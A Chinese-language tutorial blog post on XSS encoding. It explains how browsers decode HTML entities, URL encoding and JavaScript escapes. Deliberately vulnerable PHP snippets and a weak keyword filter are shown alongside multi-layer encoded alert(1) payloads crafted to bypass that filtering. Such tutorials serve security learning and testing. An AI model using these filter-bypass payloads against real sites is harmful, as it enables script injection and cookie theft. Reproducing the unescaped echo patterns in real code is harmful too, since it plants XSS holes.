Xss编码

在公司里实习一段时间,收获很大,其中之一就是对于XSS的漏洞挖的更多了。之前认识XSS的危害不够,后来发现自己的认识浅薄。XSS能够在OWASP的TOP10排名上久居不下,是有其道理的。
但是长久以来,自己对XSS的认识就是乱插,姿势对了就爽了,姿势不对疼。所以这一篇是讲XSS的编码,以及一些XSS基础知识与防护。

XSS是什么

XSS(Cross-Site Scripting)跨站脚本攻击,本质上来说是一种Injection。不过注入的是一些HTML代码。XSS分为以下几类

  1. 存储型的XSS
  2. 反射型的XSS
  3. DOM的XSS(反射/存储XSS的)

从其中的名称就可以分别出来: 一个是持久型的,例如存入数据库,等下一个用户取出来时就会自动渲染并执行。隐蔽性很强,盗人COOKIE与无形中。 反射型的XSS也叫非持久型的XSS,且需要交互较强。是以危害略小。 而DOM型的XSS,根据不同的位置,也会出来存储与反射两种。 要理解DOM的XSS,首先要理解 DOM(文档对象模型)。 这里不是介绍前端,所以可以参考这个 来了解 DOM

那么接着说XSS。
XSS的难点是理解Javascript,如果不会JavaScrpit,那么很难搞定XSS的高级用户,听说黑哥可以用XSS来探测内网信息,或者XSS蠕虫。(but most of all, samy is my hero)。 我对JavaScript也不是很熟,所以这里自己学习的一些基础,如果各位大佬看到了不要笑话。

XSS如何攻击。

talk is cheap, show me the code.
先以一个小例子来说,如果代码写成这样:

1.php

1
2
3
<?php
echo $_GET['username'];
?>

那么如果访问localhost/1.php?username=<script>alert(1)</script> 就会直接弹1。
之前我的水平大概就是在这里吧。 用一个payload去插,然后就不管了。:)
虽然见框就X是一个XSSER的优秀品质,但是在实习的时候发现这样姿势容易打脸。
因为并不是所有的输出点都会这样直接。 所以抽时间研究了一下XSS的编码问题,解锁了新的姿势,X的更欢快了。

XSS编码

这里首先要说的是几大编码问题:

  1. js编码

    js编码有十六进制编码,unicode编码,八进制编码等。

    这里对l分别进行编码
    unicode编码: \u006c
    十六进制: \x6c
    八进制: \154

  2. HTML实体编码

    在HTML中有一些字符是预留的, 比如<, >这些。 浏览器会认为它们是标签的结束和开始,所以遇到这些符号时,需要做转码

    常见的HTML转码如下,所以的编码请参考:
    < : &lt;或者&#60;
    > : &gt; 或者 &#62;

  1. URL编码

    是浏览器用来打包表单输入的一种方法,参数以&,=分成不同的键值对。对于特殊字符如&,=就需要用%+十六进制来转换,如空格的URL编码是%20

简单介绍完这几种,那么正菜开始了.

  1. 复合编码
  • 第一个案例
    如果一个php文件是这么写的:
    2.php
1
<a href=<?php echo $_GET['username'] ?>>can u click me</a>

那么应该如何 编码呢?
这里就要说一下浏览器的解码顺序了。如果有哪说的不对请各位大佬指出来…

浏览器在解析HTML时,首先会加载HTML文件,然后构造DOM结构的来显示。当然这里只是说HTML的编码部分。在解析HTML中,首先会对HTML编码的部分进行解码,以得到正确的值。 如果遇到<SCRIPT>标签时,会调用javascript解析器来解析javascript,并执行。接着返回中断的HTML,
如果遇到事件(例如: onclick)会调用脚本解析。 如果href里有URL编码,还会进行URL解码。

所以上边的可以用HTML解码->URL解码->JS解码的顺序

上边的可以用javascript:alert(1)来弹窗,这时没有解析;

也可以用%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3Bscript:alert(1)

这时因为传入的是一个URL,所以会默认先进行URL解码,这时就和我们直接在代码里入<textarea><a href="&#106;&#97;&#118;&#97;script:alert(1)">11</a></textarea>是一样的,

   即这里的实际的解码顺序为HTML解码成功

`<a href="&#106;&#97;&#118;&#97;script:%61%6c%65%72t(1)">html->url</a>`

这里前半部分使用的HTML编码,后边aler使用的URL编码,也是可以的,那么js在哪?

这里用\u将aler进行unicode编码,再URL编码,解码发现只剩下了javascript:\u61\u6c,代码无法执行<a href="&#106;&#97;&#118;&#97;script:%5c%75%36%31%5c%75%36%63%5c%75%36%35%5c%75%37%32t(1)">html->url</a>

    那么换一个,先用js编码,再用url编码<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(3)">url->js</a>

综上所述,这里可以是一个HTML解码->URL解码->JS解码的过程,相对应的,我们可以用JS编码->URL编码->HTML编码来绕过

  • 第二个案例:

<img src="x" onerror=<?php echo$_GET['username'] ?>></br>

分析: 这个首先在一个JS中,因为所有的事件都属于Javascript,然后在HTML中,这里应该两层编码

   首先试一下js编码 <img src="x" onerror="j\u0061vascript:\u0061\u006c\u0065\u0072\u0074('jsencode')"> 这是可以执行的

   再试一下JS编码->HTML编码

<img src="x" onerror="&#106;&#92;&#117;&#48;&#48;&#54;&#49;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#92;&#117;&#48;&#48;&#54;&#49;&#92;&#117;&#48;&#48;&#54;&#99;&#92;&#117;&#48;&#48;&#54;&#53;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#55;&#52;&#40;&#39;&#106;&#115;&#45;&#62;&#104;&#116;&#109;&#108;&#101;&#110;&#99;&#111;&#100;&#101;&#39;&#41;">然后发现也是可以弹的。

所以这里的重点是分析用户所控的输出点在哪里,是一个什么样的环境,HTML代码如何解析。再针对性的进行多层编码,以绕过过滤限制

实际应用

以freebuf一篇讲XSS编码的案例来分析吧:

xssencode.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
function htmlencode($str){
if(empty($str)) return;
if($str == "") return;
$str = str_ireplace("<","",$str);
$str = str_ireplace(">","",$str);
$str = str_ireplace("script","",$str);
$str = str_ireplace("img","",$str);
$str = str_ireplace(":","",$str);
$str = str_ireplace("javascript","",$str);
return $str;
}
if(!array_key_exists ("name",$_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
$html = '';
$html .= '<pre>';
$html .= '<a onclick=" ' .htmlencode($_GET['name']).'">click this url</a>';
$html .= '</pre>';
echo $html;
}
?>
<html>
<script>
</script>
</html>

如果我们输入的是view-source:http://127.0.0.1:20000/xssencode.php?name=javascript:alert(1) 那么就会过滤成:<pre><a onclick=" javaalert(1)">click this url</a></pre> 这样肯定不会触发。

So,我们来分析一下这个姿势。
首先这个参数使用了htmlencode,然后出现在了一个onclick事件,即javascript中,然后这个javascript又在一个html中。 所以解码顺序是HTML解码,js解码。

那么我们编码的时候可以用js编码来绕过。 看一下
<a onclick="\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070:\u0061\u006c\u0065\u0072\u0074(1)">click this url</a> 这个已经可以弹窗了。

但是现在过滤程序把:给过滤了,少了控制字符是不行的。所以我们直接用alert来试
<a onclick="\u0061\u006c\u0065\u0072\u0074(1)">click this url</a> 这个已经可以弹窗了。这样也绕过了htmlencode。

那么这只是一层,能不能用HTML编码来绕过呢?
事实证明,我们也可以用http://127.0.0.1:20000/xssencode.php?name=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B 来绕过。 name的URL解码是&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;即:alert(1)的HTML编码。

那么复合编码呢?
<a onclick="&#92;&#117;&#48;&#48;&#54;&#97;&#92;&#117;&#48;&#48;&#54;&#49;&#92;&#117;&#48;&#48;&#55;&#54;&#92;&#117;&#48;&#48;&#54;&#49;&#92;&#117;&#48;&#48;&#55;&#51;&#92;&#117;&#48;&#48;&#54;&#51;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#54;&#57;&#92;&#117;&#48;&#48;&#55;&#48;&#58;&#92;&#117;&#48;&#48;&#54;&#49;&#92;&#117;&#48;&#48;&#54;&#99;&#92;&#117;&#48;&#48;&#54;&#53;&#92;&#117;&#48;&#48;&#55;&#50;&#92;&#117;&#48;&#48;&#55;&#52;&#40;&#49;&#41;">click this url</a>也是可以弹窗的。 这个首先解码为\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070:\u0061\u006c\u0065\u0072\u0074(1)然后由js解码为javascript:alert(1)

所以看, 如果直接使用javascript:alert(1)并无法绕过。但是多层编码之后就可以。
这也说明,并不是单纯的一层编码就可以解决XSS问题,还是结合具体的场景来分析。

注意事项

这时要注意一点, 如果HTML将标签如href做了编码,这就影响了浏览器解析的结果,是不能执行弹窗的。

Referer

xss编码解析
HTML编码
OWASP XSS
浅谈XSS—字符编码和浏览器解析原理

文章目录
  1. 1. XSS是什么
  2. 2. XSS如何攻击。
  3. 3. XSS编码
  4. 4. 实际应用
  5. 5. 注意事项
  6. 6. Referer
|